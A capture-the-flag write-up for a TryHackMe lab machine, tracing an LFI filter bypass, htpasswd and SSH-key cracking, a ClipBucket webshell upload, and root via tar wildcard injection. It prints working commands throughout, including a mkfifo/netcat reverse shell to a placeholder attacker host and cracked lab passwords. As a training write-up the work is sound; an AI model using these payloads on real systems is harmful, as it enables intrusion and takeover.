Broadcast

3 min read
writeup by sinchallenge by VulnNet TryHackMeMediumsolved in ~2 h

Chain: LFI via a weak str_replace filter → .htpasswd creds → ClipBucket authenticated RCE → reverse shell as www-data → SSH key from a world-readable backup → root via a tar-wildcard cron job.

Recon

1nmap -sC -sV broadcast.vulnnet.thm   # only 22 (SSH) and 80 (HTTP), nothing unusual

Proxying the site through Burp surfaced a hidden page pointing at broadcast.vulnnet.thm, and another page had this in its JS:

n.p = "http://vulnnet.thm/index.php?referer="

A referer parameter feeding straight into a page is a classic LFI smell.

Local file inclusion

Pull the source of index.php through a PHP filter wrapper:

1curl "http://vulnnet.thm/index.php?referer=php://filter/convert.base64-encode/resource=index.php"

Base64-decoded, the include logic is:

1<?php
2$file = $_GET['referer'];
3$filter = str_replace('../','',$file);   // strips "../" ONCE, non-recursively
4include($filter);
5?>

str_replace runs a single non-recursive pass, so ....// collapses to ../ after the inner ../ is removed. That bypasses the filter:

1curl "http://vulnnet.thm/index.php?referer=....//....//....//....//....//etc/passwd"   # read /etc/passwd

/etc/passwd showed one human account: UID 1000, /bin/bash shell — a server-management user.

Most LFI targets returned nothing, but the Apache htpasswd file did:

1curl "http://vulnnet.thm/index.php?referer=....//....//....//....//etc/apache2/.htpasswd"
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

Crack it with rockyou:

1echo 'developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0' > hash.txt
2john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
developers:9972761drmfsls

ClipBucket RCE

Those creds log into broadcast.vulnnet.thm — a ClipBucket install. Grab the config to confirm the version:

1curl -u developers:9972761drmfsls http://broadcast.vulnnet.thm/application/core/clipbucket.conf.php

ClipBucket is below 4.0, so searchsploit has a matching chain:

1searchsploit clipbucket
2# ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection

The file-upload half drops a PHP webshell through photo_uploader.php:

Uploading the webshell through ClipBucket’s photo_uploader
Uploading the webshell through ClipBucket’s photo_uploader

Confirm it executes:

1curl -u developers:9972761drmfsls "http://broadcast.vulnnet.thm/files/photos/2026/10/23/1792722541a342b1.php?cmd=id"
2# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Foothold

Start a listener, then fire a reverse shell through the webshell’s cmd parameter:

1nc -lvnp 4444
Triggering the reverse shell through the uploaded webshell
Triggering the reverse shell through the uploaded webshell

Privesc — www-data to server-management

A cron job runs a backup script I can’t edit:

1cat /etc/crontab   # points at /var/opt/backupsrv.sh

But the backups it produces are readable, and one holds an SSH key:

1ls -la /var/backups/          # ssh-backup.tar.gz
2cp /var/backups/ssh-backup.tar.gz /tmp/
3cd /tmp && tar xzf ssh-backup.tar.gz   # extracts id_rsa

Crack the key’s passphrase:

1ssh2john id_rsa > id_rsa.hash
2john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
3john --show id_rsa.hash        # oneTWO3gOyac
1ssh -i id_rsa server_management@TARGET   # passphrase: oneTWO3gOyac

Root — tar wildcard injection

/var/opt/backupsrv.sh backs up the Documents folder with tar czf ... *. Because the * expands inside that directory, filenames become tar arguments. Plant two filenames that tar reads as checkpoint flags, so tar runs a command for me when the root cron job fires:

1cd /home/server-management/Documents    # the dir where tar's * expands
2echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 5555 >/tmp/f' > shell.sh   # reverse-shell payload
3touch -- '--checkpoint=1'                        # make tar fire a checkpoint after 1 record
4touch -- '--checkpoint-action=exec=sh shell.sh'  # make tar exec shell.sh at that checkpoint

Catch it:

1nc -lvnp 5555   # root shell when the cron job next runs

Lessons

  • str_replace('../','', ...) is not a path filter — a single non-recursive pass dies to ....//.
  • Readable backups are credentials. An SSH key in /var/backups is game over if the account is reused.
  • Any root script doing tar ... * in a writable directory is a wildcard-injection root in two touch commands.
Thoughts?